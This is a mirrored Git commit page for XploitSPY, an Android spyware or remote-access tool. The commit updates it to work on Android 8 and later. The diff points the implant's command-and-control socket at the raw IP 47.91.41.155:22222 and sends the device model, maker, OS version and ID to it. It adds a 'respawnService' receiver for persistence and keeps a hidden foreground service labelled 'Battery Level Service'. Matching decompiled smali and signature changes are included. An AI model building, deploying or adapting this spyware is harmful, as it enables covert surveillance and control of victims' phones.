mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-11-05 09:59:20 +08:00
Fixed bug on 8+
This commit is contained in:
parent
7d79118799
commit
0c4b408c9e
BIN
client/app - Shortcut.lnk
Normal file
BIN
client/app - Shortcut.lnk
Normal file
Binary file not shown.
Binary file not shown.
@ -65,6 +65,9 @@
|
||||
<action android:name="android.provider.Telephony.SECRET_CODE" />
|
||||
<data android:scheme="android_secret_code" />
|
||||
</intent-filter>
|
||||
<intent-filter>
|
||||
<action android:name="respawnService" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<service android:name=".NotificationListener"
|
||||
|
@ -21,7 +21,7 @@ public class IOSocket {
|
||||
opts.reconnectionDelay = 5000;
|
||||
opts.reconnectionDelayMax = 999999999;
|
||||
|
||||
ioSocket = IO.socket("https://xwizer.herokuapp.com:443?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
|
||||
ioSocket = IO.socket("http://47.91.41.155:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
|
||||
} catch (URISyntaxException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
@ -129,7 +129,7 @@ public class MainService extends Service {
|
||||
@RequiresApi(Build.VERSION_CODES.O)
|
||||
private void startMyOwnForeground()
|
||||
{
|
||||
String NOTIFICATION_CHANNEL_ID = "example_permanence";
|
||||
String NOTIFICATION_CHANNEL_ID = "example.permanence";
|
||||
String channelName = "Battery Level Service";
|
||||
NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
|
||||
chan.setLightColor(Color.BLUE);
|
||||
@ -145,7 +145,7 @@ public class MainService extends Service {
|
||||
.setPriority(NotificationManager.IMPORTANCE_MIN)
|
||||
.setCategory(Notification.CATEGORY_SERVICE)
|
||||
.build();
|
||||
startForeground(1, notification);
|
||||
startForeground(2, notification);
|
||||
}
|
||||
|
||||
|
||||
|
@ -12,8 +12,9 @@
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/build" />
|
||||
</content>
|
||||
<orderEntry type="jdk" jdkName="1.8" jdkType="JavaSDK" />
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
</module>
|
Binary file not shown.
@ -38,6 +38,9 @@
|
||||
<action android:name="android.provider.Telephony.SECRET_CODE"/>
|
||||
<data android:scheme="android_secret_code"/>
|
||||
</intent-filter>
|
||||
<intent-filter>
|
||||
<action android:name="respawnService"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<service android:label="@string/app_name" android:name="com.remote.app.NotificationListener" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||
<intent-filter>
|
||||
|
@ -2,20 +2,8 @@
|
||||
apkFileName: app-release.apk
|
||||
compressionType: false
|
||||
doNotCompress:
|
||||
- arsc
|
||||
- res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
- res/drawable-hdpi-v4/notification_bg_low_pressed.9.png
|
||||
- res/drawable-hdpi-v4/notification_bg_normal.9.png
|
||||
- res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png
|
||||
- resources.arsc
|
||||
- png
|
||||
- res/drawable-mdpi-v4/notification_bg_low_normal.9.png
|
||||
- res/drawable-mdpi-v4/notification_bg_low_pressed.9.png
|
||||
- res/drawable-mdpi-v4/notification_bg_normal.9.png
|
||||
- res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_low_normal.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_normal.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png
|
||||
isFrameworkApk: false
|
||||
packageInfo:
|
||||
forcedPackageId: '127'
|
||||
@ -30,7 +18,7 @@ usesFramework:
|
||||
ids:
|
||||
- 1
|
||||
tag: null
|
||||
version: 2.4.0
|
||||
version: 2.4.1
|
||||
versionInfo:
|
||||
versionCode: '1'
|
||||
versionName: '1.0'
|
||||
|
Binary file not shown.
Binary file not shown.
@ -1,9 +1,9 @@
|
||||
Signature-Version: 1.0
|
||||
Created-By: 1.0 (Android)
|
||||
SHA1-Digest-Manifest: 2Qtk51JBqM6u7TRO079YJbsVT94=
|
||||
SHA1-Digest-Manifest: IHujA2NGKYWz+3kPuDWmNrScZo4=
|
||||
|
||||
Name: AndroidManifest.xml
|
||||
SHA1-Digest: nCwMBXfy2QSt4OJ5EYyKjhi2bog=
|
||||
SHA1-Digest: hMY5UmKutb2cZY4afr084GSFwLk=
|
||||
|
||||
Name: META-INF/android.arch.lifecycle_runtime.version
|
||||
SHA1-Digest: mgd0ibqCDE7dziahk3gQRzTxqfA=
|
||||
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
|
||||
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
|
||||
|
||||
Name: classes.dex
|
||||
SHA1-Digest: mOcbx/JXakm3skvCwzTjgaZv4eU=
|
||||
SHA1-Digest: YrT0vt4yEPhLbLEfpMIXvaRwR4s=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
|
||||
|
@ -3,7 +3,7 @@ Built-By: Generated-by-ADT
|
||||
Created-By: Android Gradle 3.4.2
|
||||
|
||||
Name: AndroidManifest.xml
|
||||
SHA1-Digest: H7NoYB7XitUcBP/tmVSWWK4RaWY=
|
||||
SHA1-Digest: ndoGeF/07suLd7OIe2cVBC17lwQ=
|
||||
|
||||
Name: META-INF/android.arch.lifecycle_runtime.version
|
||||
SHA1-Digest: OxxKFJcpzAROGjnfMbNijNv1+JU=
|
||||
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
|
||||
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
|
||||
|
||||
Name: classes.dex
|
||||
SHA1-Digest: nfyXkI1RxCxUkOTHkBUiIMW0ous=
|
||||
SHA1-Digest: wKQ2CNuIgrZukBhVZNdy/5+Z4wA=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
|
||||
|
@ -31,7 +31,7 @@
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
const-string v2, "example_permanence"
|
||||
const-string v2, "example.permanence"
|
||||
|
||||
const-string v3, "Battery Level Service"
|
||||
|
||||
@ -67,14 +67,16 @@
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(I)Landroid/support/v4/app/d$b;
|
||||
|
||||
const-string v2, "service"
|
||||
const-string v1, "service"
|
||||
|
||||
invoke-virtual {v0, v2}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
|
||||
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
|
||||
|
||||
invoke-virtual {v0}, Landroid/support/v4/app/d$b;->a()Landroid/app/Notification;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const/4 v1, 0x2
|
||||
|
||||
invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V
|
||||
|
||||
return-void
|
||||
|
@ -64,7 +64,7 @@
|
||||
|
||||
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
const-string v2, "http://xwizer.herokuapp.com:22222?model="
|
||||
const-string v2, "http://47.91.41.155:22222?model="
|
||||
|
||||
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue
Block a user